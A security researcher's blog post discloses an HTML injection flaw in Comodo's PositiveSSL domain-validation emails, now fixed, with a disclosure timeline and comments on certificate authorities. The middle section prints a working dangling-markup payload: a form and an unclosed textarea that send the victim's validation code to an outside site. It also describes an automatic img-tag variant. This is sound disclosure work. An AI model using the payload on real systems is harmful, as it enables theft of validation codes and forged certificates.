I recently decided to investigate the security of various certificate authority’s online certificate issuing systems. These online issuers allow certificate authorities to verify that someone owns a specific domain, such as thehackerblog.com and get a signed certificate so they can enable SSL/TLS on their domain. Each online certificate issuing system has their own process for validation of domains and issuing certificates which leaves a lot of attack surface for malicious entities.

A Summary On Certificate Authorities & SSL/TLS

For those unfamiliar with the current certificate authority (CA) system used on the web, I’d recommend watching Moxie Marlinspike’s talk on SSL and the Future of Authenticity for an in-depth look. This is also happens to be one of my favorite talks and Moxie is a great speaker, so I highly recommend it (bonus points, he also talks about Comodo specifically). For those who don’t want to watch the talk, I’ll write a short summary here.

The SSL/TLS system, which encrypts communications in modern web browsers, works by your browser trusting a list of built-in certificate authorities. Whenever your browser attempts to connect to a site over SSL/TLS it will retrieve the site’s certificate and check to see if it is trusted by one of these built-in authorities. These authorities are allowed to mint intermediate certificate authorities which can mint SSL/TLS certificates for arbitrary websites. This creates tall trees of trusts where one certificate mints another certificate, which finally mints a certificate for an website like example.com. For a good visual of the certificate authority trees of trust, click here.

This entire system was designed to prevent man in the middle attacks which attempt to snoop on a victim’s traffic. When SSL/TLS is implemented properly, an attacker would have to present a valid certificate which has been signed by one of the trusted intermediate certificate authorities. If an attacker did have access to a valid signed certificate for a site, it would allow him or her to intercept all traffic to that site and the browser would still show the “secure lock” in the URL bar saying everything is fine. Suffice to say, ensuring the online systems which allow people to obtain signed certificates are secure is very important. If ANY of the existing online certificate issuing systems were compromised then the entire system is essentially bypassed.

Hunting for Vulnerable Issuers

When I started out hunting for possible vulnerabilities, my initial strategy was to look for the cheapest, most 90’s-looking, poorly designed certificate authority websites. Since the compromise of any certificate authority allows an attacker to bypass all the protections of SSL/TLS it doesn’t even have to be a popular provider because they all have the same power. After doing a bit of searching I realized it would be advantageous to do testing against authorities that had free SSL certificates, since doing tests against these wouldn’t cost me any money. I passed on Let’s Encrypt because I figured it had already been thoroughly audited, the second site I saw was a 30 day free trial from Positive SSL (a company owned by Comodo). This seemed like as good a target as any, so I went through their online process for issuing a free 30-day trial certificate for my website thehackerblog.com.

Comodo’s 30-Day PositiveSSL Certificate Online Issuer

The following is a screenshot of the PositiveSSL website, advertising the free 30 day trial:

1-free-ssl-pageThe process starts by requesting a certificate signing request (CSR) from the interested user. This can easily be done by using OpenSSL via the command line:

openssl req -new -newkey rsa:2048 -nodes -keyout yourdomain.com.key -out yourdomain.com.csr

Once you have your CSR, you then have to paste it into the web application:

2-csr-request

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Upon entering your CSR and selecting the software you used to generate it, you then select the email address for domain validation (from the website’s WHOIS) and arrive on a “Corporate Details” page. This is the vulnerable portion of the application, where you fill out your company/personal information getting to the email validation portion:

4-corporate-details
When I first went through this process I mindlessly filled out junk HTML for all of these fields. The service then sent a verification email to the email address on the website’s WHOIS info. Once I received the email, I noticed the HTML was not being properly escaped and the markup I had entered before was being evaluated. This is really bad because the email also contained a verification code which could be used to obtain an SSL/TLS certificate for my website. This means if I had a way to leak a victim’s token, I could obtain a valid certificate for their site, so that I could intercept traffic to that site seamlessly without users knowing I was doing so.

Dangling Markup Injection in Confirmation Emails

Since almost no email clients support <script> tag (for good reason), Cross-site Scripting (XSS) is not possible. However, HTML injection in emails can be used to leak the contents of the body using a technique called dangling markup injection. This is a term coined in Postcards from the post-XSS world, an examination of HTML injection vulnerabilities without the use of JavaScript. The idea behind dangling markup injection is to use un-terminated HTML tags to leak a secret on the affected page. The following is an example email I received from Comodo requesting to confirm my SSL/TLS certificate request:

Delivered-To: mandatory@[REDACTED]
...trimmed for brevity...
From: "Comodo Security Services" <noreply_support@comodo.com>
To: "mandatory@[REDACTED]" <mandatory@[REDACTED]>
Date: Sun, 05 Jun 2016 00:21:23 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="(AlternativeBoundary)"
Message-ID: <douEzQt+Ql/CywdHoZA/kg@mcmail1.mcr.colo.comodo.net>
...trimmed for brevity...
--(AlternativeBoundary)
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 8bit

<html>
<head>
  <style type=text/css>
  <!--
    body { font-family: Arial, Helvetica, sans-serif; font-size: 10pt }
    p { font-family: Arial, Helvetica, sans-serif; font-size: 10pt }
    pre { font-family: Arial, Helvetica, sans-serif; font-size: 10pt }
    pre.validate { font-family: Arial, Helvetica, sans-serif; font-size:11pt; color:#007A00; font-weight: bold;}
    pre.reject { font-family: Arial, Helvetica, sans-serif; font-size:7pt; color:#FF0000; font-weight: bold;}
    td { font-family: Arial, Helvetica, sans-serif; font-size: 10pt }
    .p8 { font-family: Arial, Helvetica, sans-serif; font-size: 8pt; font-weight: normal }
    .p4 { font-family: Arial, Helvetica, sans-serif; font-size: 10pt; color: #006699; font-weight: bold }
    A:link    { font-family: Arial; color: #000066; font-weight: bold; text-decoration: underline }
    A:visited { font-family: Arial; color: #000066; font-weight: bold; text-decoration: underline }
    A:active  { font-family: Arial; color: #000066; font-weight: bold; text-decoration: underline }
    A:hover   { font-family: Arial; color: #003399; font-weight: bold; text-decoration: underline }
    .title { font-family: Arial, Helvetica, sans-serif; font-size: 11pt; font-weight: bold; color: #003399 }
    -->
  </style>
</head>
<body bgcolor=#CCCCCC text=#000000 leftmargin=4 topmargin=5>
<table width=780 border=0 cellspacing=0 cellpadding=1 align=left>
  <tr><td align=left><img border="0" src="http://secure.comodo.net/images/banners/logo_comodo.png"></td></tr>
  <tr>
    <td bgcolor=#000000>
      <table width=780 border=0 cellspacing=0 cellpadding=3 align=left>
        <tr>
          <td bgcolor=#FFFFFF>
            <br><font size=2 class=title>Domain Control Validation for:[REDACTED]</font>
          </td>
        </tr>
        <tr>
          <td bgcolor=#FFFFFF colspan=2>
            <p><br>Dear mandatory@[REDACTED],</p>
            <pre>
We have received a request to issue an SSL certificate for:
Domain: [REDACTED]
Subject: 
             <h1>Injection Test</h1>
<br>This order was placed by <h1>Injection Test</h1><h1>Injection Test</h1> whose phone number is 1231231234 and whose email address is mandatory@[REDACTED]</pre>
            <pre class="validate">
<b>To permit the issuance of the certificate please browse <a href="https://secure.comodo.net/products/EnterDCVCode?orderNumber=21757254"><font color=#007A00>here</font></a>
and enter the following "validation code":</b></pre>
            <pre class="validate" style="text-align:center;"><b>Z7R58i[REDACTED]</b></pre>
            <pre class="reject"><br><br><br><br>
**************PLEASE NOTE CHOOSING THE OPTION BELOW WILL REJECT THE CERTIFICATE**************
...trimmed for brevity...

Peeking at the above raw email we notice that the HTML is not properly being escaped. Additionally, Comodo makes use of a static email boundary of (AlternativeBoundary) which is dangerous because it allows us to inject arbitrary email sections into the email that Comodo sends for domain validation. We’ll ignore the email boundary issue and focus on the HTML injection issue. As it turns out, the Company Name field we saw previously is not length-limited which allows us to inject arbitrary HTML into the end email. We will take advantage of this by setting our Company Name to the following:

<b><u>You have 24 hours to reject this request.</u></b></pre>
<form action="http://example.com/"><button type="submit">Click here to reject this request.</button><textarea style="width: 0px; max-height: 0px;" name="l">

The above HTML will redress the email and start an unclosed <textarea> block which will “swallow” the rest of the email’s HTML with a submit button and form pointing to my website. The following is a screenshot of the email sent to me from Comodo:

7-comodo_email_ssl

As can be seen in the above screenshot the final email has been redressed to state that the user has 24 hours to reject a pending SSL/TLS certificate request. Unknown to the victim however, clicking the button will actually leak the verification code to my own site via <form> submit. Basically, any site owner that receives this email is one click away from allowing an attacker to issue a certificate for their site. This is a basic redress example, since you have arbitrary HTML you could make the entire thing much more convincing. Form submissions are a great way to leak secrets like this because they work in many different mail clients. Even the iPhone’s Mail app supports this functionality:

redacted_iphone_email

Once I’ve leaked the code from the victim in this way, I can then log into the account I created during the certificate request process and download the SSL/TLS certificate. The following is a screenshot of what this looks like:

10-download-certificate

In a real world attack scenario, a malicious actor would forge these emails out to popular websites such as Facebook.com, Google.com, etc in order to snoop on the traffic of their victims. Since the email passes SPF checks and is legitimately from Comodo, a system administrator would have no reason to believe this email is not completely authentic.

Comodo Resellers

One other important thing to note is that resellers of Comodo’s certificates were also affected as well. This risk is amplified because resellers can have a customized HTML header and footer for the verification emails that get sent out. This means that it would be possible for a third party vendor to have a dangling <img> tag in the header combined with a single quote in the footer which would side-channel leak the verification code in the email body (similar to the attack above, but automatic with no user interaction). This style of dangling mark-up injection wasn’t possible in the previously proof-of-concept but is possible for resellers. I was not able to build a proof-of-concept for this however, because I didn’t want to probe further into their reseller system after reporting the initial vulnerability.

Disclosure Timeline

  • June 4th, 2016 – Emailed security@comodo.com and reached out on Twitter to @Comodo_SSL.
  • June 6th, 2016 – Robin from Comodo confirms this is the correct contact to report security issues, provides PGP key.
  • June 6th, 2016 – Emailed Comodo the vulnerability PGP-encrypted and sent my PGP public key.
  • June 7th, 2016 – Robin from Comodo confirms they understand the bug and state they will work on a fix as soon as possible.
  • June 20th, 2016 – Emailed Comodo for status update.
  • July 1st, 2016 – Outline timeline for responsible disclosure date (90 days from report date per industry standards).
  • July 25th, 2016 – Robin from Comodo confirms a fix has be put in place.

Final Thoughts

Normally, the name of the game when it comes to finding a way to mint arbitrary SSL/TLS certificates is to find the smallest, cheapest, and oldest certificate provider you can. Comodo is the exact opposite of this, they have a 40.6% marketshare and are the largest minter of certificates on the internet. Basically, they are the largest provider of SSL/TLS certificates and yet they still suffer from security issues which would be (hopefully) caught on a regular penetration testing engagement. This paints a grim picture for the certificate authority system. If the top providers can’t secure their systems, how could the smaller providers possibly be expected to do so? It’s a hard game to play since the odds are heavily stacked in the attacker’s favor with tons of certificate authorities all with the power to mint arbitrary certificates. A single CA compromise and the entire system falls apart.

Luckily, we have some defences against this with newer web technologies such as Public Key Pinning which offers protection against attackers using forged certificates. The following is a quote from MSDN about the functionality:

“To ensure the authenticity of a server’s public key used in TLS sessions, this public key is wrapped into a X.509 certificate which is usually signed by a certificate authority (CA). Web clients such as browsers trust a lot of these CAs, which can all create certificates for arbitrary domain names. If an attacker is able to compromise a single CA, they can perform MITM attacks on various TLS connections. HPKP can circumvent this threat for the HTTPS protocol by telling the client which public key belongs to a certain web server.”

https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning

This is a fairly powerful mitigation against an attacker with a forged certificate. However, the support is iffy with a lack of support in Internet Explorer, Edge, Safari, and Safari on iOS.

For an alternative system to CA’s, a few ideas have been presented but none have widespread support. One example being Convergence which was presented by Moxie in the talk previously mentioned in this post. However this is only supported by Firefox and I’ve personally never heard of people using it.

Many people like to speak of a certificate authority hack as if it was something only a nation state could accomplish, but just a day’s worth of searching led me to this issue and I don’t doubt that many providers suffer from much more severe vulnerabilities. What happens when your attacker doesn’t care about ethical boundaries and is willing to do much more in-depth testing? After all, this is Comodo, the largest provider. What about the smaller certificate providers? Do they really stand a chance?

Until next time,

-mandatory